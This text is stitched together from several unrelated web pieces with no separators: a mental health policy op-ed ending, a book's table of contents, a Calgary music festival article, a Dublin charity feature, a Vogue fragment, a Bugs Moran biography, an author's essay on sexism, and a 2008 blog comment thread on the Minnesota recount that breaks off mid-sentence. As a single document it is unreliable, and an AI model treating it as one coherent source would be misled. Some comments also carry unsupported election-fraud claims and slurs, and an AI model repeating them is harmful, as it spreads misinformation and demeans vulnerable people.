I’d put much more money into community mental health services. I’d integrate how services are delivered by funding collaborative community mental health programs and have them run by mental health professionals. I’d include services for chronically homeless people under this collaborative umbrella.
At the same time, to clear our county jails of people with mental illnesses, I’d get rid of laws targeting homeless people, such as those against loitering or sitting on a sidewalk. And I’d make sure that there was supportive short-term and long-term community housing and treatment for everyone needing them. Both were promised almost 50 years ago in the federal Community Mental Health Centers Act of 1964 — promises that were broken when it was repealed in 1981 and replaced by a block grant to states.
Mental illnesses cost as much as cancers to treat each year, and the National Institute for Mental Health notes that serious mental illnesses can reduce life expectancy by more than 25 years. That reduction is almost twice the 13 years of life lost, on average, to all cancers combined. When Tim needed hospitalization, an insurer sent him to drug rehab. Imagine the outcry if the insurer had tried to send a smoker with lung cancer who needed hospitalization to drug rehab.
Perhaps, even if Tim had gotten earlier, more effective and better integrated care, he still would have become homeless. But I don’t believe that. Tim is where he is today because of a host of public policy decisions we’ve made in this country. It took a nation to get Tim there. And it will take a national commitment to get him — and others like him — back.
Ten Days That Shook the World
John Reed
Ten Days that Shook the World
Transcribed from a 1919, 1st Edition, published by BONI & Liveright, Inc. for International Publishers, the publishing house of the Communist Party, USA, of which John Reed was a founding member.
Transcribed and marked up for the John Reed Internet Archive, sub-Archive of the Marxists Internet Archive, by David Walters in 2001.
Converted to eBook format for the Marxists Internet Archive by Pablo Stern in 2017.
eBook
We have produced an ebook edition of Ten Days That Shook the World for the MIA eBook Collection for the centenary of the Russian Revolution. It is available in three formats: ePub format (open standard), mobi format (for Kindle) and pdf format.
Online book
Table of Contents
Transcriber/Editors Comments
Introduction by V. I. Lenin
Author’s Preface
Notes and Explanations
Background
The Coming Storm
On the Eve
The Fall of the Provisional Government
Plunging Ahead
The Committee for Salvation
The Revolutionary Front
Counter-Revolution
Victory
Moscow
The Conquest of Power
The Peasant’s Congress
Calgary is getting a new music festival.
Great. What kind is it?
New music.
I know that, but what kind of music?
New music.
And so forth.
But for local lovers of the contemporary classical genre and for the more adventurous musical explorers among us it’s no joke. And something to be truly celebrated.
On Wednesday morning at the National Music Centre, organizers of the inaugural Calgary New Music Festival announced what they hope will become one of the city’s unique annual events celebrating an eclectic mix of sounds and artists.
“There are various new music festivals in Canada,” said artistic director Melanie Leonard, “and we felt that Calgary, as a vibrant city and, to me an exciting city, a city where we feel it’s possible to build new things, where there’s a feel of forward motion, we wanted to bring this (here) and have the opportunity to present a new artistic and musical experience to Calgarians.”
The two-week long event takes place from May 4-16 at various locations around town, and is being put on by Neworks Calgary, an organization that “supports the creation and performance of contemporary concert music with emphasis on Calgary and southern Alberta composers and musicians.”
To that end, the festival will feature, along with the New York-based Flux Quartet performing a program of minimalist works with Chicago clarinetist Evan Ziporyn, concerts by such local institutions as: Classical Revolution Calgary, The Land’s End Ensemble, Spiritus Chamber Choir and Kensington Sinfonia.
Leonard, who is also the musical director and conductor of participants Wild West Music Ensemble, said that all of the groups were happy to come on-board because they saw it as an occasion to be a part of the bigger picture, reunited under one theme.
“I always thought of the musical scene in the city as some sort of ecosystem,” she said. “We all have our own identities but when we come together we create this synergy. I think that’s exciting on many levels for the different organizations involved.”
Other individual performers for the fest include Banff-based pianist Luciane Cardassi and organist Neil Cockburn.
As for the hunger there is for an event such as the Calgary New Music Festival among music lovers, Leonard said that although it is a somewhat specialized genre the fact that it falls under the broader umbrella of classical music ensures that there is a healthy pool to draw from.
“Absolutely, absolutely,” said the one-time CPO resident and associate conductor. “We present works from the 20th and 21st century, but at the base also it is a classical music festival. It’s just that it presents works from a certain period, just like a baroque festival would focus on the baroque repertoire.
“And, yes, absolutely I think there’s an audience for this.”
But Leonard said one of the goals of the fest is to build an audience, as well, to create an understanding of new music and the artists who create it. It’s part of the reason there will be a couple of free events and why the concerts will be held in some untraditional settings such as Café Koi in the Beltline, downtown churches, Festival Hall and Telus Spark — one of the venue sponsors, along with NMC.
“What I’m passionate about is making people curious about new composers, about works that they have never heard before, because there’s so much beautiful, interesting, moving music out there, and I think it’s important to share it with the audience and make them excited,” she said.
“Being a part of what music will be in another 100 years, like we still talk about Mozart, I want us to still talk about the composers that are living today in 100 years.
“And I think it’s exciting for the musicians as well as the audience to think about being an active part of history.”
Which, again, brings us back to one of the greater reasons Neworks and Leonard are undertaking the journey of adding one more musical festival to the local landscape, which is to add to our history.
Or, as the artistic director said, “To contribute to making Calgary known as a vibrant city, a vibrant (place) where there’s room for new artistic ventures, also a city that is not afraid to embark on new adventures.
“That’s, I think, good for the artistic community but also reflects on … the general feel of the city and the people.”
The Calgary New Music Festival runs May 4-16 at various locations around Calgary. Festival passes are available now for $70 as well as tickets for individual events. For tickets and the complete schedule go to neworkscalgary.com/festival.
mbell@calgaryherald.com
It wasn't so much the death of her eight-month-old baby that spurred Ade Stack to do something remarkable in his name, it was what she witnessed during his short life that made her honour his memory in an extraordinary way.
Hugh was born on December 13, 2012, and spent almost his entire life in hospital. While Ade and her partner Marty Curley spent 247 days living the heightened reality that comes with caring for a seriously ill child, they saw at first hand how other parents struggled to cope.
"I remember feeling drunk with tiredness, and seeing parents sleeping on the floor or in a chair to be near their child," says Ade. "It was cruel, particularly for people who had to come up from the country. Some couldn't afford to buy a cup of tea, and there were no facilities. They couldn't even wash their clothes. When they went home, they'd spend their time washing clothes for the following week."
When Hugh died, Ade and Marty decided to use the money they would have spent on him, had he lived, to help families of sick children. They bought a big house in Belvedere Place in the heart of Dublin and transformed it into a bright, welcoming home. Called Hugh's House, it's run entirely by volunteers, and accommodation is completely free of charge.
Hugh lived for 247 days. His parents have said Hugh's House has helped them heal by helping others in need.
In the two years since Hugh's House opened its doors, more than 200 families have stayed there while their children were cared for in the nearby hospitals of Temple Street, the Rotunda and Holles Street. There are seven family bedrooms. Its occupants talk of the homely atmosphere, the support they get from being able to talk to other parents who understand what they're going through, and the relief of being able to do the simplest things, like sleeping in a comfortable bed and doing laundry.
"Putting on a wash makes me emotional to this day," says Ade. "That's when I talk to Hugh. I tell him that because we do this in his name, people can be refreshed and feel good about themselves. They can live as normal a life as possible during the precious time they have with their children.
"When a child dies, we have to let them go, but you don't let the love go. Putting on the washing is how I love Hugh."
Ade also runs a chain of pharmacies while raising her and Marty's three other children, Theo (7), Fred (5) and Jeff (seven months). She spends a great deal of time in Hugh's House, and thanks to her efforts and those of fundraisers and volunteers, later this year, the house next door - Zion's House, named after a little boy who shared a room with Hugh - will open its doors to accommodate four more families.
Ade Stack and Marty Curley in the garden of Hugh’s House, which they built in memory of their baby son who died in 2013. Right, work in progress Photo: Gerry Mooney
Margaret Kelly from Easkey, Co Sligo has stayed in Hugh's House since her son Mark was born prematurely on March 2 last, weighing just 710g (1.5lb).
"Mark came into the world in a hurry," says Margaret. "He's still in the ICU in Holles Street, and will be there for some time because he has a heart murmur, but thankfully, he's doing much better. He's off all the drips and I can hold him, which is wonderful."
Outdoor space: Margaret and Ade at Hugh's House
Like most mothers of premature babies, Margaret was discharged while Mark remained in intensive care. At the time Hugh's House was full, and she went home to Easkey with a heavy heart.
"It was horrible," she says. "I had a child, but he wasn't with me. I was miserable without him, but a few days later, we got a call to say that a room had become available in Hugh's House. It was ours if we wanted it, for as long as we needed it. I can't describe how much that meant to me and my husband Gerard. Accommodation in Dublin is expensive and we have no relations there. I don't know how we'd have managed without it.
"Hugh's House is so close to the hospital, I can hop on a bus and be there in minutes. I spend all my days with my little boy and in the evenings, I have dinner here with other parents, talking about our children and sharing tips. It's a great support when you're away from your own family.
"My room is cosy and comfortable. It feels like home, and the other parents feel like family. I can't describe how lovely it is to come and go as I please and be able to sleep at night knowing that Mark is happy and well cared for, and that I'll see him in the morning. It's a fantastic feeling."
First-time mum Laura Dwyer from Bruff, Co Limerick, spent three weeks in Hugh's House when her daughter Lucy was delivered by emergency Caesarean section at 28 weeks on February 25 this year. She weighed 815g, less than 2lb.
"Things happened so fast, it was a lot to take in," says Laura. "I'd been rushed to Holles Street from Limerick Maternity Hospital and Lucy was born before my husband Wayne got here." When Laura was discharged a week later, Lucy remained in the ICU in Holles Street.
"Apart from the worry about her, there were practical things to consider," she says. "I work in a supermarket and Wayne's a pig farmer. I couldn't afford to come up and down to Dublin, not knowing how long I'd need to be there."
So when Laura heard she'd got a room at Hugh's House, she was over the moon.
"It was home from home," she says. "I made friends with other couples there, and after days spent with our babies, we'd sit and have dinner together in the evenings, swapping stories and sharing advice. To have that support, especially when you're away from your own family and friends, is priceless.
"There was even a little welcome pack when I arrived, with deodorant, face wipes, a facecloth and other essentials… It was really thoughtful, but that's Ade Stack for you. She's amazing. She'd pop in and out and I could talk to her if I was worried about anything."
Three weeks later, Lucy was well enough to be transferred to Limerick Maternity Hospital, and Laura returned home to Bruff.
"It's wonderful to be back home and have my supports around me, but I'll never forget my time in Hugh's House," she says. "People don't realise the emotional rollercoaster you're on when you have a premature baby, and how much you want to be with them. Lucy's lungs were not fully developed, but she's a little fighter. I was lucky that I got to see her every day. How torturous it must be for those parents who can't do that. There needs to be a Hugh's House in Limerick, and all over Ireland for that matter."
Hugh's House has just launched an inaugural cycle along a 600km route from Mizen Head to Malin Head on August 3-7. To donate, volunteer or find out more, visit hughshouse.ie
The row comes days after the fashion magazine came under fire for allegedly manipulating the cover of its latest issue to make a plus size model look thinner.
Vogue is celebrating the diversity of "the modern American woman" in the March edition, featuring models of different ethnicities, skin tones and body types.
With the cover featuring Chinese model Liu Wen, social media users are questioning why an Asian model wasn't used for the Japanese inspired spread inside the magazine.
One photo features Kloss alongside a sumo wrestler and another sees the geisha-dressed model walking down the stairs of a tea house.
Born: Friday August 21st 1891
Died: Monday February 25th 1957
Age: 65
Cause of Death: Lung Cancer
Crime Family Association: North Side Gang
About Bugs Moran
George Clarence Moran, or Bugs as he is better known was a mobster from the early 20th century, and part of the famous North Side Gang, along with Dean O’Banion.
Many say that the “Drive-By Shooting” was something that Bugs Moran made popular, a form of assassination that was a major part of the mob. He started life off as a criminal and was affiliated with a number of gangs during his early years, and was arrested three times before he even turned 21.
Why The North Side and South Side Clashed
In Chicago, during the 1920’s there were two major gangs, these were the North Side Gang and the South Side Gang. The South Side Gang is better known as The Chicago Outfit, which included Johnny Torrio and the up and coming Al Capone.
During Prohibition both gangs ran alcohol rackets, or bootlegging as it was better known as. The war between the North and South side came when Dean O’Banion decided to hijack alcohol trucks that belonged to the South side as they were encroaching on the North Side territory, and selling them right under O’Banion’s nose for a better price.
Torrio wasn’t a violent man, and tried to keep the peace between the two sides for many years, however this move by O’Banion would spark anger in Al Capone, and would eventually lead to the assassination of O’Banion.
Losing Their Leader
A few issues arose, the first was that while Torrio was on vacation he promoted Al Capone as the stand in leader of the Outfit. Something that Capone would relish. During the stand in period Capone and O’Banion’s relationship sunk deeper and deeper to the extent that O’Banion set Torrio up in a police raid.
This was the final straw that saw a vote passed for the murder of O’Banion.
The assassination came at a flower shop owned by O’Banion, and he thought he was collecting a delivery of flowers so he wasn’t suspicious in anyway. Then, at close range, Frankie Yale, John Scalise and Albert Anselmi fired off rounds into O’Banion killing him instantly.
Bugs Moran Plans Revenge
This is where Bugs Moran takes center stage, as he planned to have revenge on the murder of his North Side Gang leader.
The bitterness between Bugs and Capone was obvious to anyone, he would call Capone a low-life and despised his involvement in the prostitution rackets. The hatred was so intense that it would cost them their friends, and Capone his freedom.
Bugs attempted to kill Capone on two separate occasions, which would lead Capone to getting himself an armoured plated car that would later be used by the President himself.
It’s with no doubt that Bugs Moran would go all out to get back at Capone, and wouldn’t stop until he was dead. The first attempt was a drive-by shooting which left Capone unhurt but very much startled, the second attempt Bugs Moran decided that he would try and take out his bodyguards, so he targeted his main bodyguard who he then proceeded to torture before executing him on the spot. The third attempt was another drive-by shooting which was lead by Bugs Moran, while Capone and another of his bodyguards were drinking in the lobby of a hotel. Bugs Moran and his crew fired a fleet of bullets into the windows, and again Capone escaped unharmed.
It was enough to actually make Capone call a truce, but it didn’t last long.
Moran Becomes Unstoppable
The two were constantly at each other’s throats, one man would do something and the other would retaliate. Capone lost a lot of friends and gang members due to hits ordered by Moran, and it has to be said that Moran clearly had the better of Capone. He literally drove him crazy.
Moran went after everything that Capone loved, he burnt down Capone’s nightclubs, hijacked his liquor supplies and continued murdering anyone that came close to him.
Capone was left physically and mentally exhausted.
St Valentine’s Day Massacre
Capone decided that in order to end this turf war he would need to pull out all the stops, so he planned the best way to get back at Moran, by taking him out as well as several of his crew. A hit that would be executed with precision.
Some of the Chicago Outfit’s men dressed in police uniform and staged a fake raid in a warehouse, the North Side Gang didn’t retaliate as they thought this was a genuine raid. The Outfit’s men asked the North Side Gang to turn around and face the wall. Seven men were then sprayed with a hail of bullets.
Moran was lucky, as he saw police car pulled up outside the warehouse so he decided to flee the scene rather than entering the warehouse. However, Capone thought he had bagged himself Moran as one of his lookouts mistook Moran for another gang member.
The St Valentine’s Day Massacre changed a lot of things from a law enforcement perspective, and Al Capone would eventually bow under the pressure of the law and succumbed to tax evasion. The first Public Enemies list also went public during the 1930’s with Capone topping the pile.
As for Moran, he left Chicago some years later after Prohibition ended and the need for bootlegging alcohol dried up. He would later be arrested in 1946 for a bank robbery in which he was sent to jail for 10 years, followed by another 10 year stretch after coming out of jail from the first offence and robbing another bank.
Death
Bugs Moran wouldn’t get to serve the full 10 years of his last sentencing however, as he died from lung cancer just a few months into the sentence.
by Rae Carson
A long time ago, in a galaxy far, far away, I worked for a technology company as an inside sales rep. I’d already experienced the “glass ceiling” and wage inequality, but working at—let’s call it Misogyny, Inc.—was my first encounter with that special brand of endemic discrimination that borders on harassment.
A few quick examples:
1. I had an idea that I felt would save our company tens of thousands of dollars per month. So for our weekly company meeting, I prepared all my data, dressed in my best suit, and confidently proposed a new inventory system.
I wasn’t even halfway done with my spiel before everyone started laughing. They told me it would never work. But, they said, I did look very cute in my suit.
At the next weekly meeting, our manufacturing manager presented the exact same proposal. He was lauded as a genius. We implemented it right away, and he got a big bonus for saving the company so much money.
2. After two years, I got a raise and a tiny promotion. My sales numbers were the highest in the company. Not by much, and not all the time, but it was an impressive feat, considering the other reps were seven-year-plus veterans. After the news got around, one of my female co-workers said, in a biting tone, “I’m sick to death of people thinking you do a good job just because you’re hot.”
She worked hard to promote this perception among our co-workers. In no time, I had a reputation as “the lazy one who gets away with stuff because she’s cute.”
3. I got very sick with food poisoning or a stomach bug or . . . something. I’ll spare you the details. But after two miserable days, I clawed my way back to work. I still couldn’t eat, so I brought a large supply of Pedialyte to keep me on my feet. Naturally, I lost a ton of weight very quickly.
The rumor quickly got back to me that I was bulimic. Another female co-worker had told everyone that for months, I had been eating meals on the company dime and throwing them up to lose weight.
Looking back, a couple of things stand out to me. In all three of these instances, 1) my body was tied to my performance, and 2) women were involved.
My experience is not unusual. Thousands, maybe millions of women have their accomplishments waved away or ignored daily, even as their bodies suffer devastating scrutiny—from both men and women.
These experiences were very much on my mind when I sat down to write The Girl of Fire and Thorns. The protagonist, you see, is fat. Elisa has an unhealthy relationship with food. No one believes she’ll accomplish anything, and her lifelong social conditioning has caused her to believe this harmful perception.
She begins to change right away. In chapter two, she stands up for herself and takes control of her wedding night. In chapter three, she saves a man’s life by grabbing the weapon of a dead enemy and stabbing with it. In chapter four, she has an epiphany about her own self-absorption and makes a point to focus on others—and on and on through the end of the book. My goal was to show Elisa gaining confidence through a gradual process of taking control of her own life and destiny.
But with Misogyny, Inc. so fresh in my mind, it occurred to me that some people in Elisa’s world might be unable to see past her body to her accomplishments and personal growth. So, for instance, without knowing Elisa at all, her maid finds her unworthy of being the chosen one, and despises her. And later, when (minor spoiler . . . ) Elisa loses some weight, a certain man finds her attractive for the first time—but is unable to acknowledge that she has become a great leader in her own right.
One sees her as fat. One sees her as beautiful. Neither can see beyond her outward appearance to the truth of who Elisa really is.
I know how easy it is to look at a woman and see nothing but a body. I’m guilty of it, too. How many times do we look at a beautiful, blond woman in a short skirt and think airhead or bimbo or shallow? Maybe she’s a rocket scientist with multiple PhDs. Maybe a battered paperback of her favorite Coetzee is shoved inside that Prada bag.
We just don’t know.
You can’t tell by looking at a woman’s body how much she exercises, how much she eats, whether or not she’s lazy, whether she is confident or depressed or accomplished.
When I drafted The Girl of Fire and Thorns, I was an athletic size 6. I felt beautiful then. I’m sixty pounds heavier now, and aside from my wardrobe, little has changed. I’m still smart. I’m still writing books. I’m still in love with my life. I still feel beautiful.
I grant that there have been some gradual shifts in maturity and confidence. But like Elisa, I’ve earned the heck out of these changes through life experience and introspection—not through changing the way I look.
A woman has a right to have and enjoy whatever body her choices or circumstances give her. But Misogyny, Inc. showed me how crushing it is to feel that the sum whole of your worth is wrapped up in your flesh.
So, to my fellow women I make this New Year’s resolution: I will commit to seeing beyond your breasts or fat or beauty to the essence of who you are. And I will vociferously defend your right to have your accomplishments acknowledged and lauded—no matter what you look like.
"National Republican Party Creates Conspiracy Site, Claims 'Stolen Election' in MN's U.S. Senate Race"
(34 Responses so far...)
COMMENT #1 [Permalink]
... RALPH said on 11/12/2008 @ 3:24 pm PT...
[ed note: Copy and paste advertisement deleted. Please read our rules for commenting, Ralph. Thank you. --99]
COMMENT #2 [Permalink]
... creid said on 11/12/2008 @ 3:36 pm PT...
Some clarifications and additional thoughts... The machine that Harri Hursti hacked was not an AccuVote-OS as is being widely and repeatedly reported --- it was a TSx. The TSx is a central tabulator --- the OS is a precinct machine. I believe that the AccuVote-OS may have the same vulnerability, but it is not accurate to say that it's the same machine. Because it's a precinct machine, it would be much more work to "fix" than a central tabulator. So does Minnesota centrally count on a TSx? And is the model name a technicality, or are they quite different machines? {ED NOTE: You are incorrect here, on several points, Creid. Hursti hacked both the Diebold AccuVote-OS (optical scanner) in Leon County, FL, and the Diebold AccuVote-TSx (touch-screen) in Emery County, UT. Neither of them is a "central tabulator". The central tabulator system used by Diebold is called GEMS. That's been hacked by others, and by Diebold's own admission, drops votes regularly when they are uploaded from one of the OS or TS machines to it. MN uses the Diebold AccuVote-OS precinct-based optical scanner in several of their precincts (two of the three largest) and ES&S precinct-based op-scanners in the rest. Hope that clarifies --- BF} The ES&S M100 does have several known issues that have come up both in testing and in elections, and yet some voting machine techs also think it is a workhorse. In any case, there is no voting machine that would be likely to perform well if it went three years without maintenance, as the reports say the Michigan M100s did. By now, Ruth Johnson should know what the full diagnosis is on the M110's and it would be good to make that public, so that other states using that machine have additional information on what may cause them not to function. Beyond the technological aspects of the election in Minnesota, there are some very simple on the ground aspects that will affect election outcome. How well do their statutes cover absentee ballot security and handling? And how well are they carried out in real life on the ground election districts/precincts? One photo from Ramsey County showed stacks of bankers' boxes said to contain absentee ballots (opened? recently delivered and unprocessed? In a locked storage area and shown to the reporter? Or in the election official's office?) Likeewise, the insecure transport of all the ballots is another area to look at. If a single official was running around making election day deliveries of absentee ballots, that's not goiing to build voter confidence in the outcome. With two weeks between the election and the recount, ballot security again looms as a factor to understand better. I would not want Ramsey County storing their absentee ballots in those unsealed bankers' boxes. The chain of custody on the ballots could be compromised before the ballots are even presented for counting.
COMMENT #3 [Permalink]
... the zapkitty said on 11/12/2008 @ 3:57 pm PT...
... Ralph ... poor Ralph... Oookay... skip the prozac and let's try straight lithium via an epidural...
COMMENT #4 [Permalink]
... Bamboo Harvester said on 11/12/2008 @ 4:39 pm PT...
Wilburrr... ~ WE need Investigations, Trials and Punishment ... To realign Truth Fact and Reality. John "Mitch" Mitchell 1947 – 2008
COMMENT #5 [Permalink]
... GWN said on 11/12/2008 @ 5:00 pm PT...
COMMENT #6 [Permalink]
... Brad Friedman said on 11/12/2008 @ 5:22 pm PT...
Creid @ #1 - You gave several pieces of misinformation in your comment. I have added an ed note to it to clarify you inaccurate points, which I'll presume were well-meaning, but otherwise incorrect.
COMMENT #7 [Permalink]
... Ancient said on 11/12/2008 @ 5:32 pm PT...
The manipulation of information is egregious! Our elections are at the LEAST QUESTIONABLE. I'm a JOE, and let me tell you I have MANY CONCERNS. Brad has been right on target. This is a participatory government and LAND DAMN IT!
COMMENT #8 [Permalink]
... Lora said on 11/12/2008 @ 5:44 pm PT...
Let's challenge the Democrats to insist on fairness, accuracy, and transparency in the MN recount.
COMMENT #9 [Permalink]
... Kira said on 11/12/2008 @ 6:31 pm PT...
Good news ... Latest Tally [Alaska] Begich leads Stevens by 3 votes!
COMMENT #10 [Permalink]
... Ancient said on 11/12/2008 @ 7:39 pm PT...
Now, I believe if elections were run cleanly the convicted felon's race would have been lost awhile ago! But hey, that's just me after living there for 15 years.
COMMENT #11 [Permalink]
... creid said on 11/12/2008 @ 8:47 pm PT...
Thanks, Brad, for the correction. I thought I knew and remebered it wrong. I hate it when that happens. Should have double checked with a search. The TSx is a DRE machine, and the AVOS is op scan, that is the difference, not that they are central versus precinct. I was unaware that both TSx and AVOS had been tested by Hursti. I knew about TSx and also did know that in my state where we use AVOS, the state determined that our equipment could be vulnerable to the Hursti hack. I thought they extrapolated somehow to figure that out. Er....thanks for the long overdue update and sorry to cloud the issue instead of clarify.
COMMENT #12 [Permalink]
... TEDEGER said on 11/13/2008 @ 4:24 am PT...
I wonder - are the Republicans concerned that they didn't manage to steal the MN election, so they are making wild accusations before the recount so that they can cry "Fraud" in case Franken actually wins? Hmmmmmmmmm?
COMMENT #13 [Permalink]
... creid said on 11/13/2008 @ 5:05 am PT...
TEDEGER, I'm not a mind reader, but I find your argument persuasive. "Sore loser" apparently doesn't work as well at the moment or perhaps at all anymore, especially now that more people have informed themselves about the real need to hang in there and count every vote/make sure the election was run right. it's possible to aggressively make sure you have done all the right things for your candidate and not come off as a spinmeister. Always interesting to watch the official decisions and see which ones appear to be procedurally correct decisions that work to the advantage or disadvantage of one candidate or the other-- and which seem to be politically inspired. Hennepin County's refusal to reexamine 400-some absentee ballots is one such decision I'd like to understand further.
COMMENT #14 [Permalink]
... Julia Clark said on 11/13/2008 @ 5:13 am PT...
Yippie! I cannot wait till all you compassionate hypocrites wipe the retarded and any other feeble person off the planet. In the 40+ years the feminist liberals have run it, you have destroyed the black family, the hispanic family, the blue collar family and now the middle class....The Republicans sent all of the jobs overseas, but there is no more substance to the society...The intellectuals created the greatest dictatorships in history (think Hitler, Stalin, Mao) and are steering us right back towards that. Human sexuality has become selfish transactions between two self absorbed scumbags with no rhyme or reason. People are basically out for themselves and do not care about anyone but themselves. You are lucky if you have any kind of friend in the Northeast, even if it is a family member...I do not like either side (liberal or conservative)...I wish someone would throw an intervention for the lower classes and the handicapped. In memoriam - the handicapped.
COMMENT #15 [Permalink]
... Producer Russ Michaels said on 11/13/2008 @ 5:21 am PT...
Hi Brad and Creid, Just to clarify that the Hursti Hack in our documentary "Hacking Democracy" was indeed carried out on the Diebold AccuVote OS (Optical Scan) machine... However Harri Hursti ALSO hacked the GEMS Central Tabulator in Leon County that day. In our film you can see that the rigged memory card is finally uploaded to GEMS and Harri's hacked vote totals appear on the GEMS tabulator screen. So Harri hacked all three parts of the Diebold OS system - the memory card, the Scanner and the Central Tabulator. (And, as you correctly say Brad, later in Utah Harri hacked the Diebold AccuVote TS toucscreen machines.)
COMMENT #16 [Permalink]
... K. Nukem said on 11/13/2008 @ 5:21 am PT...
It would be good if you actually read what is going on in MN, and responded to the facts of the vote counting process. Of course, for those who have alternate goals, this may be too much to ask for.
COMMENT #17 [Permalink]
... hippy_hunting_neocon said on 11/13/2008 @ 5:48 am PT...
If the newly discovered Franken votes were legit, wouldn't that be reflected by an increase Obama votes as well as other Democratic candidates on the ticket? How is it that they are finding nothing but Franken votes, some that were allegedly in someones car this whole time, and they are only from three specific, traditionally liberal counties? I guess we are supposed to believe that many people were so far to the left in MN that they voted for Franken but would not vote for Obama, is marxism to conservative of an idea for the Franken faries?
COMMENT #18 [Permalink]
... KeninMo said on 11/13/2008 @ 7:25 am PT...
Ah yes, that undoubtedly explains the 8 years of "Commander in Thief", "We was robbed", "Supreme Court handed Bush the election", "Palm Beach County was rigged to hose Gore", "Florida Recounts weren't done right", "Disenfranchisement in Ohio in 04", "Stole it again in 04", etc. etc. You are full of self-righteous BS --- Dems have spent 8 years whining about "stolen" elections, and they took the last 4 starting on 5 Nov 04 to plan out exactly how they were going to steal it in 08 --- Black Panthers at the polls, Acorn registering the Dallas Cowboys starting lineup to vote, busing "voters" from Chicago to Iowa, Nebraska and Texas (Biden himself said "hello Chicago" to the Iowa 'voters' at the Iowa caucus). Obama pulled out the classic Chicago mob politics and replayed Lyndon Johnson and Mayor Daley in the 1960 election.
COMMENT #19 [Permalink]
... Opinionsarelikeassholes said on 11/13/2008 @ 7:56 am PT...
Why do you have to be so incendiary? Name calling and conjecture get us nowhere and destroy credibility. If Franken wins, dems will be forever enshrined as stealing 2008. Links to Chicago political machine methods will become "truth" We don't need it.
COMMENT #20 [Permalink]
... Opinionsarelikeassholes said on 11/13/2008 @ 8:01 am PT...
I'm agreeing with KevinMo. Al Gore himself went on Letterman and said he won the election. Dems have spent 8 years whining about "stolen" elections. Acorn did committ fraud. Fired employees are now giving interviews (not republicans) saying they were following orders.
COMMENT #21 [Permalink]
... Tate said on 11/13/2008 @ 9:53 am PT...
Let Obama, Reid and Pelosi have to deal the Al (The Man who has failed at everything He has ever done) Frankin. D.C. is a bad joke anyway with all of the Goverment bailouts. We are scrwed either way. Let them deal with this jerk-off.
COMMENT #22 [Permalink]
... Jimbo said on 11/13/2008 @ 10:09 am PT...
The Dem's don't need to win any other vote. With the Worm Republicans they have 60 votes. Snowe, Colins, Specter, Lugar and Voinovich. You can get 3 of these 5 any time. Just give them something they want. "IT'S THE END OF THE WORLD AS WE KNOW IT!"
COMMENT #23 [Permalink]
... TEDEGER said on 11/13/2008 @ 11:15 am PT...
I note the trolls are out in force. They must be REALLY afraid that they are going to lose Coleman, which means that the crooked, vote-flipping machines will be exposed, AGAIN. As to one of the queries above (which really should not be necessary), they are COUNTING Franken - Coleman. There is no reason for the Obama - McCain totals to change, unless someone asks for a recount there.
COMMENT #24 [Permalink]
... W4B said on 11/13/2008 @ 11:36 am PT...
I'm glad to be a Minnesotan, this phony controversy is going to show the rest of the USA what it means to have PAPER BALLOTS. No chads hanging or otherwise, just plain old paper and clearly descernable marks. ALL ballots will be counted with Norm's representatives as well as Al's present to verify fairness. Our election laws put the voters rights and intentions front and center instead of putting technical rules intended to limit, and thus influence the vote.
COMMENT #25 [Permalink]
... Caijoe said on 11/13/2008 @ 12:58 pm PT...
HaHa Keninmo you are very entertaining. Well, on the bright side, you'll have the next eight years to whine about 'ACORN', the 'Black Panthers', the Cowboys, busing voters out of state, etc, etc.
But don't worry, you'll have Rush, Sean, BillO, Michael and all the other right wink talk radio fear/hate mongers to keep you company!
COMMENT #26 [Permalink]
... chabuka said on 11/13/2008 @ 1:34 pm PT...
God...I LOVE saying this to the righties....naner, naner, naner...GET OVER IT....!!
COMMENT #27 [Permalink]
... W4B said on 11/13/2008 @ 2:02 pm PT...
I just dropped by the Republicans conspiracy site and found a total of ten comments on the five or six articles. Nine of the ten comments were critical of the articles and the one that seemed to sympathise with the Republican point of view was obviously posted by an individual with 'challenges'. It's worth a laugh to take a look, don't wait, they'll probably take the site down tomorrow if it continues to draw flys.
COMMENT #28 [Permalink]
... Legender said on 11/13/2008 @ 2:30 pm PT...
As a neophyte election judge on Tuesday, I was very impressed with the team we had. Both the Head Judge and the Registrar were strong Republicans but I never heard them say or do anything other than encourage people to vote for whomever they wanted. Just ignore what Pawlenty and others are saying about the election judges being partisan - ignore the slander. We worked from 5:00 a.m. to 9:30 p.m. in my precinct and the whole process was SEAMLESS.
In the recount process, the Obama/ McCain votes would not be looked at so those totals will not change. The only votes being contested (and counted) are those for Franken/ Coleman. May the person with the most votes win!!
COMMENT #29 [Permalink]
... Lora said on 11/13/2008 @ 4:38 pm PT...
Dear NRSC commenters who have come to take a look at the Brad Blog, Take a whiff of that clean fresh air and feel free to read some actual facts about election integrity! It is wonderful that there are actual paper ballots in MN to be counted. Now, if they would only hand-count 'em in the first place, eliminate the middle man...
COMMENT #30 [Permalink]
... Big Dan said on 11/13/2008 @ 5:21 pm PT...
I think you shouldn't be able to hack into ANY vote machine!!! The fact that you can go on youtube and see many videos of many different people hacking into them tells me they should be taken out of existence. Aren't a lot of them made in outsourced countries, too? With slave wage workers who don't give a crap about quality? Not that that even matters, if they were made flawlessly, they'd be hackable because they're designed that way!
COMMENT #31 [Permalink]
... Walk Softly said on 11/14/2008 @ 5:22 am PT...
The Obama votes will indeed be looked at in the recount. Teams of reviewers are going to be looking at what 'might' have been the intent of the "voter." Keep in mind, officials have not yet answered whether all counties employed a "precinct" scanner. Nobody has yet answered whether all such precinct scanners were utilized according to HAVA regulations to notify the voter at the precinct of over-votes. No answers have been forthcoming regarding precinct optical scanner malfunctions. Nobody has answered whether functioning scanners were set to reject over-votes and accept undervotes. Nobody has yet answered precisely how many precisley ballots were undervoted in the Senate race but not the Presidential race. Without those details before, stress before, the recount, nobody from here on out could trust the results of the recount. We have nothing from which to start other than the difference between Coleman and Franken has already been narrowed, primarily by newfound votes due to whatever the reasons. Now that the difference is KNOWN and without the forementioned details also being known, there is every reason to suspect the election "could" be frauded. After all, it takes only a couple 100 votes to be discovered as the actual "intent" of the voter in undervoted blank Senate areas to provide a tie. Only one more than that to declare Franken the winner. That the tally has narrowed so far down is itself suspicious. It's a lot easier to find a couple 100 more votes than it is to find 800 or 1000 or more. Bradblog should be as aware of all of those issues and demand accountability to provide those details, and any others now, before the recount. Every paper ballot printed and unused - how many Every paper ballot issued and used - how many Every paper ballot issued and used, but voided for a replacement ballot - how many BTW every paper ballot printed should have had at least one imprinted number on its side. The number isn't a tracking number that imposes on voter privacy. It's supposed to be documented how many ballots the election bureau had printed for distribution in each district. The last point makes 'finding' of 32 or however many paper ballots in the trunk of a poll judge's car so **** suspicious, for starters. What are the numbers on those and were those separated to be determined if the numbers matched those distributed to that precinct for this election? That voted paper ballots at the precinct may have had undervotes in only the Senate 